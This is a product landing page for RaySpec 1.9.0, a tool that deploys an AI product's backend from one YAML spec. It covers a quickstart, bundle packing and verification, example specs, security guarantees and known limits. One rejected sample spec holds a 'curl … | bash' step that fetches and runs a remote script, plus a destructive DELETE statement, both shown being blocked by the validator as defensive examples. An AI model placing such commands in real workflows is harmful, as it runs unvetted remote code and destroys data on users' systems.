1.9.0 — pack it, verify it, deploy it →

Your backend is
one file deep.

Describe your AI product’s backend in one declarative YAML file. RaySpec stands up accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file. As of 1.9.0 the built application is one file as well: a .ray bundle that carries no secret and no database row.

Run the quickstart
stores: a real database auth: owned tenancy agents: four backends api: declarative HTTP workers: durable jobs security: fail-closed
version: '1.0'
metadata:
name: acme-notes
stores:
- name: notes
columns:
- { name: title, type: text }
- { name: body, type: text }
api:
- method: GET
path: '/notes'
action: { kind: store, store: notes, op: list }
- method: POST
path: '/notes/{id}/summarize'
action: { kind: agent, agent: summarizer }
agents:
- id: summarizer
name: note-summarizer
instructions: >
You summarize note entries into
concise, action-oriented notes.
backend: openai # or anthropic · pi · codex
model: gpt-4o-mini
▸ validate → plan → deploy
# quickstart — npm install to a deployed bundle The full quickstart →
# no database — scaffold, validate, preview
$ npx -y rayspec init # writes a starter rayspec.yaml (one store + its CRUD routes)
{
  "ok": true,
  "command": "init",
  "created": [
    "rayspec.yaml"
  ],
  "path": "rayspec.yaml",
  "nextSteps": [
    "rayspec doctor rayspec.yaml",
    "rayspec plan rayspec.yaml",
    "rayspec dev gen-secrets   # mint the boot secrets, then set DATABASE_URL to deploy"
  ],
  "errors": []
}
$ npx -y rayspec doctor ./rayspec.yaml # static validation — no database
{
  "ok": true,
  "errors": [],
  "warnings": []
}
$ npx -y rayspec plan ./rayspec.yaml # read-only deploy preview (the migration SQL) — no database
{
  "ok": true,
  …
  "agents": [],
  "gateFindings": [],
  "gateSummary": "destructive-scan: no destructive statements.",
  "breakingChangeBlocked": false,
  "shadowApplied": false,
  "errors": []
}
# output captured with rayspec@1.9.0 from npm · a line that reads … stands for output left out
# a reference application, deployed from its bundle
$ npm install rayspec
$ npx rayspec --version
$ VERSION=$(npx rayspec --version | node -p 'JSON.parse(require("fs").readFileSync(0, "utf8")).version')
$ git clone --depth 1 --branch "v$VERSION" https://github.com/rayspec-labs/rayspec.git rayspec-src
$ node rayspec-src/examples/team-notes/build.mjs --release=v1 --out=team-notes
$ npx rayspec pack --spec team-notes/rayspec.yaml --output team-notes-1.0.0.ray
$ npx rayspec bundle inspect team-notes-1.0.0.ray
$ npx rayspec bundle verify team-notes-1.0.0.ray
$ export DATABASE_URL=postgresql://rayspec:rayspec@localhost:5433/rayspec
$ export SHADOW_DATABASE_URL=postgresql://rayspec:rayspec@localhost:5433/rayspec_shadow
# mint the JWT key and the pepper — see the quickstart
$ chmod 600 jwt.pem pepper
$ export RAYSPEC_JWT_SIGNING_KEY_FILE=$PWD/jwt.pem
$ export RAYSPEC_API_KEY_PEPPER_FILE=$PWD/pepper
$ npx rayspec deploy team-notes-1.0.0.ray --dry-run > plan.json
$ npx rayspec deploy team-notes-1.0.0.ray --plan-digest "$(node -p 'require("./plan.json").data.planDigest')"
# commands from the quickstart; they need PostgreSQL 16 · no output is shown for them here
Node >=22.21.0, PostgreSQL 16 with a rayspec and a rayspec_shadow database, git and curl. Source-available under FSL-1.1-ALv2. Building from source →
# lifecycle

One file in. One file out.

You write one spec. rayspec pack turns the built application into one .ray bundle, and that file is what gets checked, deployed and moved.

  1. 01author
    $ rayspec doctor <spec.yaml>

    Static validation of the whole document: no database, no network, and the full list of violations.

    CLI reference →
  2. 02pack
    $ rayspec pack --spec <path> --output <file.ray>

    One deterministic file from an application that is already built: the same prepared files and flags give the same bytes. Never a secret. Pack runs no build and none of the application’s code.

    Packing an application →
  3. 03inspect · verify · sign
    $ rayspec bundle verify <file.ray>

    A bundle is read without extracting or running anything inside it. deployable means every check passed for this runtime; it never vouches for the code the bundle carries. rayspec bundle sign writes a detached Ed25519 signature with your own key.

    Signing a bundle →
  4. 04deploy
    $ rayspec deploy <file.ray> --dry-run $ rayspec deploy <file.ray> --plan-digest <sha256>

    The dry run plans against the live database and changes nothing; the deploy applies the plan you reviewed, named by its digest. A reviewed plan is valid for 30 minutes. A deploy that refuses leaves the previous version active.

    Deploying a bundle →
  5. 05move
    $ rayspec export … $ rayspec import …

    The whole deployment as one migration bundle, encrypted with age to one recipient. The target stays fenced until a one-time cutover token, valid for 15 minutes, releases it. The new environment mints its own boot secrets, so access tokens and API keys are reset.

    Exporting →

# steps 04 and 05 need PostgreSQL; their commands are in the docs and no output is shown for them on this page — importing a deployment →

# steps 02 and 03 on the team notes reference application, release 1.0.0 captured with rayspec@1.9.0 from npm
# pack — the summary it prints on stderr
$ npx rayspec pack --spec team-notes/rayspec.yaml --output team-notes-1.0.0.ray
…
team-notes 1.0.0 — application bundle for runtime 1.9.0 on linux/x64, Node 22
spec: payload/rayspec.yaml
requires: declarative-api, declarative-stores, static-frontend
bindings: none (names only; values are supplied at deploy time)
execution: none; egress hosts: none
included: 7 files, 9737 bytes (4 frontend, 1 notices, 1 sbom, 1 spec)
…
  11971 bytes, sha256 fa1b20460ea990bdb55d667d63d867d02fd8508025bf5c4f19825e2da3efd76d
This is a package, not a deployment: nothing was deployed, started or run. Check it with
…
# exit 0
# bundle verify — the summary it prints on stderr
$ npx rayspec bundle verify team-notes-1.0.0.ray
…
team-notes 1.0.0 — application bundle for runtime 1.9.0 on linux/x64, Node 22
8 entries, 11971 bytes, sha256 fa1b20460ea990bdb55d667d63d867d02fd8508025bf5c4f19825e2da3efd76d
requires: declarative-api, declarative-stores, static-frontend
bindings: none
execution: none; egress hosts: none
checked against runtime 1.9.0
signature: none (unsigned; the origin of the bundle is not established)
verdict: deployable — the archive, manifest, runtime, target, capability, binding, spec,
  derived-field, secret-scan and signature checks passed. They describe the bundle; they
  do not vouch for the code it carries.
# exit 0
A line that reads … stands for a line left out: the operation id, and two lines that name the directory the command ran in. Nothing else is changed. Each command also prints one JSON object on stdout — CLI reference →
# ships in examples/

Three applications you can deploy. Seven more files to read.

# reference applications

Each is packed and deployed from its bundle by the repository’s own tests.

team-notes/releases/v1.yamlbackend profile

A tenant's shared notes with a CRUD API and a static web UI.

stores: 1api: 5
38 lines · packed and deployed from its bundle · README ↗
document-intake.product.yamlproduct profile

Accept an uploaded document (plain text or a text-layer PDF), parse it to text, extract a structured record, validate it, persist one row per document, and serve record reads.

stores: 1capabilities: 2workflows: 1views: 2extractors: 1contracts: 5
255 lines · packed and deployed from its bundle · README ↗
asset-catalog/rayspec.yamlbackend profile

A tenant's catalog of files, each classified by an external service on create.

stores: 1
41 lines · packed and deployed from its bundle · README ↗
# further example specs

Seven documents in the two profiles of the spec language, from a notes backend to a support chat.

acme-notes-backend/rayspec.yamlbackend profile

A notes backend — stores entries, summarizes them with an agent.

stores: 2api: 6agents: 1tooling: 1triggers: 1handlers: 2
123 lines · validates with rayspec doctor
expense-claim-coder/rayspec.yamlbackend profile

Store expense claims and auto-code each claim against the org's own expense-category catalog with a tool-using agent (the lookup + auto-persist loop).

stores: 2api: 11agents: 1tooling: 2handlers: 2
151 lines · validates with rayspec doctor
live-workspace-events.rayspec.yamlbackend profile

A shared task board whose clients are driven by one tenant-scoped event stream.

stores: 1api: 3handlers: 2
73 lines · validates with rayspec doctor
support-ticket-triage.product.yamlproduct profile

Accept a submitted support ticket, route it against a seeded routing-policy catalog (product_area → owning team + default priority), persist the triaged ticket, and serve ticket reads.

stores: 2capabilities: 1workflows: 1views: 2contracts: 4
205 lines · validates with rayspec doctor
invoice-intake.product.yamlproduct profile

Accept an uploaded invoice document (text or text-layer PDF), parse it to text, extract the invoice fields and code the vendor against a seeded vendor→GL catalog, validate the coded output, persist one row per invoice, and serve invoice reads.

stores: 2capabilities: 2workflows: 1views: 2extractors: 1contracts: 6
317 lines · validates with rayspec doctor
contract-intake.product.yamlproduct profile

Accept an uploaded contract document (text or text-layer PDF), parse it to text, extract the contract metadata, classify the contract type against a seeded retention-policy catalog, validate the load-bearing fields, persist one coded record per contract, and serve contract reads.

stores: 2capabilities: 2workflows: 1views: 2extractors: 1contracts: 6
310 lines · validates with rayspec doctor
support-intake-chat.product.yamlproduct profile

A first-line support intake CHAT: the user describes their issue over a multi-turn conversation, an assistant replies grounded in a seeded known-issues/routing catalog, and an async workflow classifies the conversation into a structured, routed ticket the support desk can read.

stores: 2capabilities: 2workflows: 1views: 2extractors: 1contracts: 5
311 lines · validates with rayspec doctor
…plus synthetic fixtures that prove the extensions[] mechanism — each of the seven example specs validates with rayspec doctor as it stands; a reference application is built first, then packed the product: key is the discriminant — one language, two profiles →
# what you get

The scaffolding is the platform’s problem now.

stores:

A real database, generated

Stores become tenant-scoped Postgres/Drizzle tables — you declare business columns only, the tenancy and data-lifecycle columns are injected. Migrations are diffed and gated before they apply.

auth:

Owned accounts & tenancy

Orgs, memberships, API keys, JWT/OIDC — first-class and yours. Every query carries a tenant predicate, enforced structurally.

agents:

Four swappable agent backends

OpenAI Agents, Claude Agent SDK, Pi, and Codex behind one neutral interface. Write an agent once; switch the backend from the spec.

workers:

Durable background work

Long agent runs and scheduled jobs execute off-request, with a per-step run journal for replay, cost accounting, and audit.

api:

A declarative HTTP surface

Routes, tools, triggers, and escape-hatch handlers declared in the spec, mounted on an authenticated Hono + OpenAPI surface.

security:

Tenant-scoped & fail-closed by construction

Secrets required at boot, a fail-closed tenant chokepoint, an explicit trust boundary around untrusted content, an append-only audit log — from the first boot. An opt-in hardened posture adds database role separation with forced row-level security — hosting in the hardened posture → What it guarantees — and what it doesn’t →

# architecture

One spec, seven layers.

Each layer depends only on the ones below it. The bottom layers are the always-on foundation; the declarative engine reads your spec and wires your routes, stores, and agents onto it. The platform itself contains no product.

Read the full architecture →
Apprayspec CLI · rayspec-serve boot bin
Declarative enginevalidate → diff → gate → deploy a spec
HTTP APIHono + zod-openapi · mounted on the auth chain
Agent coreneutral Backend interface + 4 in-process adapters
Accounts & authorgs · memberships · users · API keys · OIDC
Data & journalPostgres/Drizzle · tenant chokepoint · run log
Durable executionoff-request worker · schedules · replay
# by construction

Three boundaries carry the weight.

The neutral backend boundary

Adapters absorb every vendor SDK’s churn; the neutral types never move. A parity suite holds all four backends to the identical contract.

The fail-closed tenant chokepoint

Deny-by-default: a table is reachable only if registered as committed source. There is no ergonomic path to a cross-tenant read.

The tool-dispatch trust boundary

Everything crossing from outside — tool output, uploads, rehydrated history — is data, never instructions. Idempotency is honored on replay. It stops injected text that tries to command the agent. Text that disputes a field or invents a policy is the author’s job in the agent’s instructions.

# security posture

What the core guarantees — and what it doesn’t.

BUILT IN, FROM DAY ONE
✓ Tenant isolation by construction — CI fails if any tenant table is readable unscopedreceipt ↗
✓ Secrets required at boot — the server refuses to start without them, fail-closedreceipt ↗
✓ Untrusted-content trust boundary at tool dispatchreceipt ↗
✓ Append-only, out-of-band audit trailreceipt ↗
✓ Per-backend credential isolation — each agent backend uses its own operator-supplied credentials; the anthropic backend’s child process starts without the other providers’ keys, the database URLs and the platform’s own settings and boot secretsreceipt ↗
OPT-IN, OFF BY DEFAULT
Role separation and row-level security · RAYSPEC_MIGRATION_DATABASE_URL — the server serves as a runtime role that cannot bypass the tenant policies, and row security is enabled and forced on every tenant table. It protects against a statement that lost its tenant, not against code in the runtime process that sets another tenant deliberately.
Single-tenant mode · RAYSPEC_SINGLE_TENANT=true — one organization per runtime; a second one is refused on every path and accounts join by invite.
The managed posture · RAYSPEC_HOSTING_POSTURE=managed — every execution bound has a default, every handler must declare its rights, agent traces are not exported by default, and of the four agent backends only openai boots.
Trusted proxies · RAYSPEC_TRUSTED_PROXIES — behind a reverse proxy, the proxy addresses whose forwarding headers are believed; nothing else can set the client address.
NOT IN THE CORE
· Per-tenant data encryption with wrapped keys
· Per-tenant execution sandboxing
· Cryptographic binding of tokens to their client
· Cross-node federation and data-residency enforcement

The core is built for trusted, self-hosted, single-node deployment. The hardened posture is one application and one organization per environment, and it is not a sandbox for custom code.

# limits

What 1.9.1 does not do.

The runtime is not a sandbox. Handlers and extensions run inside the serving process and can read what it holds; only a boundary outside the process contains code you do not trust.receipt →
The managed-posture receipt is evidence of tests, not a compliance certificate. It names which protections were tested for a release, and nothing more.receipt →
The runtime enforces no egress. An application declares the hosts it calls; the host network policy must admit only those.receipt →
The runtime encrypts no data at rest. Disks, the blob volume, the state directory and backups need their own encryption.receipt →
The managed posture boots only the openai agent backend. It refuses anthropic, codex and pi, which stay available outside the managed posture.receipt →
A removed member keeps read access until their access token expires, 480 seconds by default. Writes, run starts and administrative actions reread the membership at once.receipt →
The runtime image is a definition in the repository. It is built and tested for this release and not pushed to a registry; linux/amd64 only.receipt →
The release manifest is not signed, and the npm packages carry no provenance attestation. What holds: the 34 packages on npm are the tarballs attached to the GitHub release, byte for byte.receipt ↗
Bundles target linux/x64 and Node 22. The bundle contract is revision 1.0.0-rc.2, and rayspec pack does not run builds.receipt →contract revision →
Export moves one organization to a new, empty target. At most 500,000 objects and a bundle of at most 2 GiB; it is not a backup tool, a replication stream or a merge.receipt →
Downgrading a migrated database is not supported. A 1.8.x runtime does not detect a database that 1.9.0 has migrated; going back starts from a backup taken before the upgrade.receipt →
22 advisories remain open for consumers against three packages pinned by the Pi agent SDK, recorded as scanner exceptions that expire on 2026-12-06.receipt →

Every residual risk this release accepts — the threat model → · release notes for 1.9.1 ↗

# doctor says no

The posture isn’t a promise — it’s a refusal.

Before anything deploys, rayspec doctor reads your spec and fails closed on the moves that would break the guarantees above, and rayspec pack refuses a schema change that destroys data and that nobody reviewed. Real output, verbatim — captured with rayspec@1.9.0 from npm, so you can reproduce it. That’s the receipt.

reserved_column_namea backend tries to own the tenant column
# crm-backend.yaml — the move
version: '1.0'

metadata:
  name: crm-backend
  description: A CRM backend that tries to declare its own tenant_id column.

stores:
  - name: invoices
    columns:
      - { name: tenant_id, type: uuid }      # ← the platform injects this
      - { name: amount_cents, type: integer }
      - { name: status, type: text }
# the answer
$ npx rayspec doctor crm-backend.yaml
{
  "ok": false,
  "errors": [
    {
      "code": "reserved_column_name",
      "message": "store 'invoices' declares reserved column 'tenant_id' — that column is injected by the generator (tenancy/GDPR); rename the business column",
      "path": "stores[0].columns[0].name"
    }
  ],
  "warnings": []
}
# exit 1 — the tenant column is platform-owned; enforced before anything ships
no_code_in_yamla spec tries to smuggle in shell + SQL
# meeting-notes-product.yaml — the move
version: '1.0'

product:
  name: meeting-notes
  description: A meeting-notes product that tries to smuggle code into the spec.

workflows:
  - id: after-upload
    trigger: recording.uploaded
    steps:
      - id: cleanup
        shell: "curl -s https://example.com/setup.sh | bash"
      - id: summarize
        sql: "DELETE FROM recordings WHERE status = 'stale'"
# the answer — 3 errors on 2 lines (key and value)
$ npx rayspec doctor meeting-notes-product.yaml
{
  "ok": false,
  "errors": [
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'shell' at workflows[0].steps[0].shell; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[0].shell"
    },
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'sql' at workflows[0].steps[1].sql; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[1].sql"
    },
    {
      "code": "no_code_in_yaml",
      "message": "inline-code string value at workflows[0].steps[1].sql; Product YAML must not contain JS/TS, SQL, shell, or handler module paths",
      "path": "workflows[0].steps[1].sql"
    }
  ],
  "warnings": []
}
# exit 1 — declare meaning, not code
RAY_USAGEa release tries to drop a column that holds data
# team notes, release 1.1.0 to 2.0.0 — the move
# releases/v2.yaml, version 1.1.0 — what the deployment runs
    columns:
      - { name: title, type: text }
      - { name: content, type: text }      # ← 2.0.0 drops this
      …

# releases/v3.yaml, version 2.0.0
    columns:
      - { name: title, type: text }
      …
# the answer — packed against the running spec, no allowlist
$ npx rayspec pack --spec team-notes-v3/rayspec.yaml --output team-notes-2.0.0.ray --against team-notes-v2/rayspec.yaml
{
  "contractVersion": "1.0.0-rc.2",
  "ok": false,
  "operation": "pack",
  …
  "data": null,
  "errors": [
    {
      "code": "RAY_USAGE",
      "message": "the product delta is destructive and no reviewed allowlist entry covers drop-column on notes.content. Review it: run `rayspec plan <new-spec> --against <spec of the running application>`, copy the proposed allowlist entries you approve into a file, and pack the bundle again with `rayspec pack --spec <new-spec> --against <spec of the running application> --allowlist <file.json>`",
      "retryable": false
    }
  ],
  "warnings": []
}
# exit 2 — nothing was written; a reviewed allowlist entry is the only way through

Captured 2026-10-05 with rayspec@1.9.0 from npm (v1.9.1, 319a9a4). The first two documents are the files shown; the third is the team notes reference application, built with its own build.mjs as releases v2 and v3. A line that reads … stands for lines left out. the CLI reference →

# faq

Asked like an engineer.

What’s the license?

Open core, not an OSI license: source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years.

receipt: LICENSE · conversion date per release

What does the one file actually stand up?

Accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file.

receipt: spec reference · getting started

What is a .ray bundle?

One deterministic file that rayspec pack writes from an application that is already built: the spec, the compiled code and static files it needs, its third-party packages, an SBOM and the license notices. It carries no secret value and no database row, and packing runs none of the application. A bundle holds at most 9,999 files and 512 MiB.

receipt: packing an application · the lifecycle above

Can I put a deployment on a public address?

The core is built for trusted, self-hosted, single-node deployment. The opt-in hardened posture is made for a runtime that people you do not fully trust can reach: one application and one organization per environment, with its own VM and databases. It is not a sandbox for custom code, its receipt is evidence of tests and not a compliance certificate, and egress rules and encryption at rest are the host’s job.

receipt: hardened posture · threat model

How is tenant data isolated?

By construction: every query against tenant-owned data goes through one fail-closed chokepoint that injects the tenant predicate, and a CI test fails the build if a tenant table can be read without it. With role separation turned on, forced row-level security in the database is a second layer beneath it. That layer protects against a statement that lost its tenant, not against code in the runtime process that sets another tenant deliberately.

receipt: architecture · database isolation

Is the release signed, and is there an image?

For 1.9.0 the release manifest is not signed and the npm packages carry no provenance attestation. The 34 packages on npm are the tarballs attached to the GitHub release, byte for byte. The runtime image is a linux/amd64 definition in the repository, built and tested for the release and not pushed to a registry. rayspec bundle sign is a different thing: it signs your application bundle with your own Ed25519 key.

receipt: release notes · the runtime image

How do I upgrade from 1.8?

An existing deployment needs nothing new: check that Node is 22.21.0 or later, take a backup, install 1.9.0 and start the deployment the way you started it before. The first boot runs the platform migrations 0012 to 0017, each one additive. Downgrading a migrated database is not supported, so going back starts from that backup.

receipt: upgrading to 1.9 · changelog

Are the examples real?

They ship in examples/. Three are reference applications, each packed and deployed from its bundle by the repository’s own tests: team notes, document intake and asset catalog. Seven further example specs are on the shelf above. Document intake runs on the deterministic extraction provider, which is not for production extraction.

receipt: examples/ · the spec shelf above

Found a security issue?

Mail security@rayspec.dev — reporting and the security model live in the security policy.

receipt: security policy

Open core. Now on GitHub.

Source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years

release notes for 1.9.1 ↗ · changelog →